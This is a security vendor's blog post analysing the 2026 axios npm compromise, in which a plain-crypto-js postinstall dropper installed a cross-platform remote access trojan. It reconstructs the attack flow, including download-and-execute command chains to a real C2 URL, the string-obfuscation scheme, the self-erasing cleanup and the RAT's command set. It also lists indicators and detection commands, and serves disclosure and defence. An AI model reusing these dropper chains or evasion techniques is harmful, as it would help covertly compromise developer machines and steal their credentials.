On March 30-31, 2026, threat actors published two malicious versions of the popular HTTP library axios (versions 1.14.1 and 0.30.4) to the npm registry. Both versions included a new dependency named plain-crypto-js which, in its 4.2.1 release, contained a fully-featured cross-platform dropper that silently installed a Remote Access Trojan (RAT) on developer machines. The packages have since been removed, and the axios team merged a deprecation workflow on March 31 to formally mark them as compromised on the registry. Any developer who ran npm install on the affected versions during the exposure window should assume their machine is compromised. We tracks this campaign as MSC-2026-3522.
Axios has over 50 million weekly downloads. Even a brief window of exposure in a package of this scale represents serious supply chain risk, particularly given that developer laptops routinely hold SSH keys, cloud credentials, API tokens, and access to production systems.
Versions 1.14.1 and 0.30.4 do not exist anywhere in the axios GitHub repository. There are no git tags, no commits, no release branches corresponding to these version numbers. The most recent legitimate release tag is v1.14.0, published March 27, 2026.
This means the attack did not involve compromising GitHub. The attacker obtained credentials for a maintainer’s npm account and used the npm CLI directly to publish packages, skipping the entire git-based release workflow. For developers who audit their dependencies by checking the GitHub repository, these versions would appear impossible to find.
One additional indicator of account compromise: the npm email address associated with the axios maintainer account was changed to [email protected] around the time of the malicious publish. This is consistent with an attacker updating account recovery details after gaining access to lock out the legitimate owner.
Community member ashishkurmi filed issue #10604 on March 31, noting that related issues reporting the compromise were being deleted shortly after creation, suggesting the attacker may have retained some account access during the incident window.
The axios team responded quickly. On March 31, maintainer DigitalBrainJS merged PR #10591, adding a deprecate.yml GitHub Actions workflow that allows maintainers to manually trigger npm deprecate against a specified version. This marks the packages as deprecated in the registry and warns developers who attempt to install them.
name: Deprecate compromised axios version
on:
workflow_dispatch:
inputs:
version:
description: "Version of axios to deprecate (e.g. 1.14.1)"
required: true
default: "1.14.1"
jobs:
deprecate:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 20
registry-url: https://registry.npmjs.org
Figure 1: The deprecate.yml workflow added by the axios team (PR #10591) to mark compromised versions on the npm registry.
The attack starts with the axios package.json itself. Both malicious versions (1.14.1 and 0.30.4) were published with [email protected] listed as a new dependency. Any developer running npm install [email protected] would pull in that dependency automatically, with no additional action required. npm resolves and installs the full dependency tree silently.
[email protected] is where the malicious code lives. The package carries a postinstall hook that fires the moment npm finishes installing it. From there, the chain runs in three stages:
After the dropper finishes, it erases itself and replaces the package’s own package.json with a pre-staged clean copy that has no postinstall hook. A forensic inspection of the installed package after the fact reveals nothing suspicious.
Version 4.2.0 of plain-crypto-js is a clean, if unauthorized, repackaging of the well-known crypto-js library. It contains 53 files, all standard cryptographic primitives with no network calls or install hooks.
Version 4.2.1 added exactly three files.
| File | Role |
|---|---|
| package.json | Modified: added “postinstall”: “node setup.js” |
| setup.js | New: the dropper (heavily obfuscated, ~3KB) |
| package.md | New: a clean copy of package.json without the postinstall entry, used for post-execution cleanup |
The addition of package.md is a revealing detail. Its only purpose is to overwrite package.json after the dropper runs, eliminating the postinstall hook from the installed package. An engineer auditing dependencies after the infection would see a clean package with no hooks and no setup.js.
setup.js is a single minified, heavily obfuscated JavaScript file that runs on install and handles macOS, Windows, and Linux with separate execution paths for each.
Every sensitive value in the script, module names, file paths, OS identifiers, script content, and the C2 URL, is hidden inside an 18-entry encoded string array. None of these values are readable in the source. To recover them, each entry is reversed, has its base64 padding restored, is base64-decoded, and then passed through a custom XOR cipher keyed on “OrDeR_7077” with an additional constant of 333. The result looks like garbage on the wire but decodes cleanly to readable strings at runtime.
Decoding all 18 entries reveals the full picture: the three Node.js modules the dropper needs (fs, os, child_process), the C2 base URL (http://sfrclak.com:8000/), platform identifiers for each OS, the full script content dropped on each platform, the execution command for each, and the two filenames used in the post-run cleanup (package.json and package.md).
On execution, the dropper first identifies the operating system, then constructs the full C2 URL by appending the hardcoded campaign ID 6202033 to the base URL, giving http://sfrclak.com:8000/6202033. From there it takes a different path depending on the platform.
On macOS, it writes an AppleScript file to /tmp/6202033. That script contacts the C2 with a POST request whose body is packages.npm.org/product0, a value designed to look like legitimate npm registry traffic, and saves the response binary directly to /Library/Caches/com.apple.act.mond. It then sets the binary executable, runs it with zsh in the background, and removes the loader script. The parent dropper launches this AppleScript detached via nohup osascript, so the install process returns immediately without waiting.
On Windows, the dropper first locates the PowerShell binary using where powershell, then copies it to %PROGRAMDATA%\wt.exe. The filename wt.exe is the Windows Terminal binary, chosen to blend in on a filesystem listing. It then writes a VBScript file to the temp directory that uses WScript.Shell to run a hidden cmd.exe window. That window curls the C2 for a PowerShell script (POST body: packages.npm.org/product1), saves it as a .ps1 file, and runs it using the copied PowerShell binary with -w hidden -ep bypass, suppressing any visible window and bypassing execution policy. After the PS1 runs, both temp files are deleted.
On Linux, the path is the most direct: a single shell command downloads a Python script from the C2 (POST body: packages.npm.org/product2) to /tmp/ld.py and runs it with python3 under nohup, detached from the install process.
After launching the platform payload, the dropper executes three cleanup steps in sequence. It deletes itself (setup.js). It deletes the current package.json, which contains the postinstall hook. It then renames package.md, the clean copy of package.json that was bundled into the package, back to package.json. The result is that the installed package directory contains no trace of the dropper, no postinstall hook, and no unexpected files. Any post-install audit of the package looks completely normal.
The campaign ID 6202033 is the only value hardcoded outside the obfuscated array. The C2 URL base is encoded, which means future campaigns can reuse the same dropper infrastructure by publishing a new version with a different encoded URL, the RAT binary itself never needs to change.
The payload served to macOS victims is a compiled Mach-O x86_64 binary dropped to /Library/Caches/com.apple.act.mond. The path is chosen to resemble a legitimate Apple daemon name. The binary is not signed with a valid certificate, but the dropper sidesteps this by running codesign –force –deep –sign – to apply an ad-hoc signature before execution, satisfying the basic signing requirement without a valid developer identity.
SHA256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
The binary links against libcurl for C2 communication and nlohmann JSON for structured data handling. The C2 URL is not hardcoded; it is passed in as argv[1] by the AppleScript loader from the dropper. This design means the same compiled binary can be redeployed in future campaigns pointing to different infrastructure by simply changing the dropper.
On first execution, the RAT collects a detailed system fingerprint and POSTs it to the C2 as a Base64-encoded JSON object.
{
"hostname": "macbook-pro.local",
"username": "jdoe",
"version": "14.4.1",
"timezone": "-5",
"installTimeString": "2023-09-15 09:22:11",
"currentTimeString": "2025-03-21 14:07:33",
"bootTimeString": "2025-03-20 08:11:02",
"cpuType": "mac_x64",
"modelName": "Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz",
"processList": "user pid command\njdoe 1234 /usr/bin/python3 ...",
"FirstInfo": "{ /Applications, ~/Library, ~/Application Support ... }"
}
Figure 2: Initial beacon JSON structure sent to C2 on first execution.
The installTimeString is read from /var/db/.AppleSetupDone, a file that records when macOS was first configured. Combined with the full process list and directory tree, this initial beacon gives the operator a complete picture of the target: what software is installed, what is currently running, what credentials and config files are likely present.
All HTTP communication uses the User-Agent string mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0), which identifies as Internet Explorer 8 on Windows XP. This is anomalous for any macOS process and detectable in HTTP proxy logs.
After the initial beacon, the RAT polls the C2 server every 60 seconds via a GET request, waiting for commands. The operator can issue four command types:
peinject receives a Base64-encoded binary payload, writes it to a randomly named hidden file under /private/tmp/, applies chmod 755, ad-hoc signs it with codesign –force –deep –sign -, and executes it with optional parameters. This is the highest-risk capability: it allows the operator to push and run any arbitrary program on the victim machine at any time.
runscript executes arbitrary commands. If the Script field is empty, the Param field is passed directly to /bin/sh. If Script is populated, the Base64-decoded content is written to a temporary .scpt file and executed via /usr/bin/osascript. The latter enables GUI interactions, AppleScript-based keychain access, and dialog spoofing attacks.
rundir triggers a deep enumeration of the filesystem, collecting file names, sizes, creation and modification timestamps, and directory structure.
kill terminates the RAT process.
main() [0x100007A60]
GenerateUID() → random 16-char victim ID
GetOS() → macOS version string
InitDirInfo() → enumerate /Applications, ~/Library, ~/Application Support
Report() → POST initial beacon to C2
loop every 60s:
DoWork() → GET C2 for pending command
peinject → DoActionIjt() [0x100002ECE]
runscript → DoActionScpt() [0x1000042FE]
rundir → InitDirInfo() [0x1000070EF]
kill → exit
Figure 3: Core command dispatch loop in the macOS RAT, reconstructed from function signatures at the documented offsets. Full analysis by Joe DeSimone available at axios_macho_malware.md.
Developer runs: npm install [email protected] (or 0.30.4)
Attacker published via compromised npm maintainer account
(No corresponding git tags in the axios GitHub repo)
[email protected]
└── [email protected]
└── postinstall: node setup.js
│
├── [macOS]
│ AppleScript → curl POST packages.npm.org/product0
│ → /Library/Caches/com.apple.act.mond (chmod 770)
│ → nohup zsh "...act.mond http://sfrclak.com:8000/6202033"
│
├── [Windows]
│ copy powershell.exe → %PROGRAMDATA%\wt.exe
│ VBS → curl POST packages.npm.org/product1 → .ps1
│ → wt.exe -w hidden -ep bypass -file .ps1
│
└── [Linux]
curl POST packages.npm.org/product2 → /tmp/ld.py
→ nohup python3 /tmp/ld.py [C2 URL]
setup.js self-destructs:
unlink(setup.js)
unlink(package.json) ← removes postinstall hook
rename(package.md → package.json) ← package looks clean
RAT beacons every 60s to http://sfrclak.com:8000/6202033
→ operator can push binaries, run shell commands, enumerate files
Developer machines are high-value targets. They typically hold SSH private keys, cloud provider credentials (AWS, GCP, Azure), npm and PyPI publish tokens, .env files for staging and production environments, database connection strings, and VPN certificates. A RAT with arbitrary command execution and binary injection on a developer workstation gives an attacker a persistent foothold that can propagate into production infrastructure.
The 60-second polling loop and the peinject capability mean that an attacker can adapt their intrusion over time. The initial payload may have been an infostealer or credential harvester. Days or weeks later, the same implant can receive a new binary with different capabilities.
CI/CD pipelines are an additional concern. Many organizations run npm install in automated build environments. If the affected axios versions were installed during a build window, the dropper would have run in the CI/CD context, with access to whatever secrets and permissions that environment holds.
The absence of git tags for the malicious versions also means dependency scanning tools that cross-reference npm packages against source repositories may have failed to flag anything unusual. The packages appeared to be valid axios releases by all metadata checks.
| Date/Time (UTC) | Event |
|---|---|
| March 27, 2026 | axios v1.14.0 published legitimately to npm with corresponding git tag |
| March 30-31, 2026 | Attacker publishes axios v1.14.1 and v0.30.4 via compromised npm account. npm maintainer email changed to [email protected]. No git tags created. plain-crypto-js v4.2.1 included as dependency. |
| March 31, 01:38 UTC | axios maintainer merges PR #10591 adding deprecate.yml workflow |
| March 31, 03:00 UTC | Community files issue #10604 publicly reporting the compromise |
| March 31 (ongoing) | C2 at sfrclak.com:8000 goes offline. Deprecation of malicious versions in progress. |
| Indicator | Value |
|---|---|
| C2 domain | sfrclak.com |
| C2 IP | 142.11.206.73 |
| C2 port | 8000 |
| C2 URL | http://sfrclak.com:8000/6202033 |
| User-Agent | mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) |
| macOS POST body | packages.npm.org/product0 |
| Windows POST body | packages.npm.org/product1 |
| Linux POST body | packages.npm.org/product2 |
| Indicator | Platform | Notes |
|---|---|---|
| /Library/Caches/com.apple.act.mond | macOS | RAT binary |
| /tmp/6202033 | macOS | AppleScript loader, deleted after use |
| /private/tmp/.XXXXXX | macOS | Injected binaries from peinject commands |
| %PROGRAMDATA%\wt.exe | Windows | Cloned PowerShell binary |
| %TEMP%\6202033.vbs | Windows | VBS wrapper, deleted after use |
| %TEMP%\6202033.ps1 | Windows | PS1 payload, deleted after use |
| /tmp/ld.py | Linux | Python stage-2 payload |
| Algorithm | Hash |
|---|---|
| SHA256 | 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a |
| SHA1 | 13ab317c5dcab9af2d1bdb22118b9f09f8a4038e |
| MD5 | 7a9ddef00f69477b96252ca234fcbeeb |
Check whether your project directly or transitively depends on plain-crypto-js at any version, and whether the affected axios versions were installed:
npm ls plain-crypto-js
cat package-lock.json | grep -A3 "plain-crypto-js"
# Check if either malicious version is in your lock file
grep -E '"axios".*"(1\.14\.1|0\.30\.4)"' package-lock.json
Figure 4: Commands to check for the malicious package in a Node.js project.
Block or alert on outbound connections to sfrclak.com and 142.11.206.73:8000 at the firewall and DNS level. In proxy logs, alert on the User-Agent mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) from any non-Windows host, or from any host making POST requests to port 8000.
If you installed axios 1.14.1 or 0.30.4:
This attack demonstrates how effective the npm account compromise is as an initial access vector. The malicious code required no GitHub access, no pull request, no code review bypass. A single stolen npm credential was enough to publish malicious packages under a trusted name with 50 million weekly downloads.
The macOS second stage is professionally written: a compiled C++ binary with structured C2 communication, four distinct operator capabilities including arbitrary binary injection, and architecture designed for infrastructure reuse. The Windows and Linux stages remain unconfirmed pending sample recovery.
*** This is a Security Bloggers Network syndicated blog from Mend authored by Tom Abai. Read the original post at: https://www.mend.io/blog/poisoned-axios-npm-account-takeover-50-million-downloads-and-a-rat-that-vanishes-after-install/